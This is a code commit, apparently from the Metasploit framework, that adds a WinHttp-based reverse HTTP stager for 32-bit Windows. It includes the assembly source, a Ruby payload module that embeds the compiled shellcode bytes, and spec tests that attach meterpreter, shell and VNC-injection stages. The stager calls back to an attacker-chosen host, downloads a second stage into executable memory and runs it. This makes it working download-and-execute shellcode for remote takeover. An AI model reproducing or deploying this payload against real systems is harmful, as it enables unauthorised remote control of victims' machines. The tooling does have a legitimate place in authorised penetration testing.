HTTP stager based on WinHttp
parent
cd992d5ea6
commit
991e72a4fa
139
external/source/shellcode/windows/x86/src/block/block_reverse_winhttp_http.asm
vendored
Normal file
139
external/source/shellcode/windows/x86/src/block/block_reverse_winhttp_http.asm
vendored
Normal file
|
@ -0,0 +1,139 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
%define u(x) __utf16__(x)
|
||||
%define HTTP_OPEN_FLAGS 0x00000100
|
||||
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
load_winhttp:
|
||||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
|
||||
set_retry:
|
||||
push byte 6 ; retry 6 times
|
||||
pop EDI
|
||||
xor ebx, ebx
|
||||
mov ecx, edi
|
||||
|
||||
push_zeros:
|
||||
push ebx ; NULL values for the WinHttpOpen API parameters
|
||||
loop push_zeros
|
||||
|
||||
WinHttpOpen:
|
||||
; Flags [5]
|
||||
; ProxyBypass (NULL) [4]
|
||||
; ProxyName (NULL) [3]
|
||||
; AccessType (DEFAULT_PROXY= 0) [2]
|
||||
; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL) [4]
|
||||
push dword 4444 ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
dw u('/12345'), 0
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen [1]
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push HTTP_OPEN_FLAGS ; Flags [7]
|
||||
push ebx ; AcceptTypes (NULL) [6]
|
||||
push ebx ; Referrer (NULL) [5]
|
||||
push ebx ; Version (NULL) [4]
|
||||
push edi ; ObjectName (URI) [3]
|
||||
push ebx ; Verb (GET method) (NULL) [2]
|
||||
push eax ; Connect handler returned by WinHttpConnect [1]
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
; Context [7]
|
||||
; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through to
|
||||
; failure
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handler for WinHttpReadData
|
||||
push ebx ; Reserved (NULL) [2]
|
||||
push esi ; Request handler returned by WinHttpSendRequest [1]
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if ownload failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
19
external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp_http.asm
vendored
Normal file
19
external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp_http.asm
vendored
Normal file
|
@ -0,0 +1,19 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
|
||||
; Version: 1.0 (January 2015)
|
||||
; Size: 323 bytes
|
||||
; Build: >build.py stager_reverse_winhttp_http
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_reverse_winhttp_http.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_winhttp_http"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager (WinHTTP)',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm', # original stager
|
||||
'Borja Merino <bmerinofe[at]gmail.com>' # Adaptation from the hdm stager (based on WinINet) to WinHTTP
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
|
||||
# 'EXITFUNC' => [ 244, 'V' ],
|
||||
'LPORT' => [ 174, 'v' ] # Not a typo, really little endian
|
||||
},
|
||||
'Payload' =>
|
||||
# Size 323 (lhost not included)
|
||||
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
|
||||
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
|
||||
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
|
||||
"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
|
||||
"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
|
||||
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
|
||||
"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
|
||||
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
|
||||
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x74\x74\x70\x00\x68\x77" +
|
||||
"\x69\x6e\x68\x54\x68\x4c\x77\x26\x07\xff\xd5\x6a\x06\x5f\x31\xdb" +
|
||||
"\x89\xf9\x53\xe2\xfd\x68\x04\x1f\x9d\xbb\xff\xd5\x53\x68\x5c\x11" +
|
||||
"\x00\x00\xe8\x86\x00\x00\x00\x2f\x00\x31\x00\x32\x00\x33\x00\x34" +
|
||||
"\x00\x35\x00\x00\x00\x50\x68\x46\x9b\x1e\xc2\xff\xd5\x68\x00\x01" +
|
||||
"\x00\x00\x53\x53\x53\x57\x53\x50\x68\x98\x10\xb3\x5b\xff\xd5\x96" +
|
||||
"\x53\x53\x53\x53\x56\x68\x95\x58\xbb\x91\xff\xd5\x85\xc0\x75\x0a" +
|
||||
"\x4f\x75\xed\x68\xf0\xb5\xa2\x56\xff\xd5\x53\x56\x68\x05\x88\x9d" +
|
||||
"\x70\xff\xd5\x85\xc0\x74\xec\x6a\x40\x68\x00\x10\x00\x00\x68\x00" +
|
||||
"\x00\x40\x00\x53\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x53\x89\xe7" +
|
||||
"\x57\x68\x00\x20\x00\x00\x53\x56\x68\x6c\x29\x24\x7e\xff\xd5\x85" +
|
||||
"\xc0\x74\xc0\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x82" +
|
||||
"\xff\xff\xff"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
p = super
|
||||
# URI search in wide char (16 bits)
|
||||
i = p.index(Rex::Text.to_unicode("/12345") + "\x00")
|
||||
u = Rex::Text.to_unicode("/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)) + "\x00"
|
||||
p[i, u.length] = u
|
||||
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
# Host needs to be in wide char (16 bits)
|
||||
p + Rex::Text.to_unicode(lhost + "\x00")
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
|
@ -3806,4 +3806,54 @@ describe 'modules/payloads', :content do
|
|||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
|
||||
end
|
||||
|
||||
context 'windows/dllinject/reverse_winhttp_http' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_winhttp_http',
|
||||
'stages/windows/dllinject'
|
||||
],
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/dllinject/reverse_winhttp_http'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter/reverse_winhttp_http' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_winhttp_http',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/reverse_winhttp_http'
|
||||
end
|
||||
|
||||
context 'windows/shell/reverse_winhttp_http' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_winhttp_http',
|
||||
'stages/windows/shell'
|
||||
],
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/shell/reverse_winhttp_http'
|
||||
end
|
||||
|
||||
context 'windows/upexec/reverse_winhttp_http' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_winhttp_http',
|
||||
'stages/windows/upexec'
|
||||
],
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/upexec/reverse_winhttp_http'
|
||||
end
|
||||
|
||||
context 'windows/vncinject/reverse_winhttp_http' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_winhttp_http',
|
||||
'stages/windows/vncinject'
|
||||
],
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/reverse_winhttp_http'
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue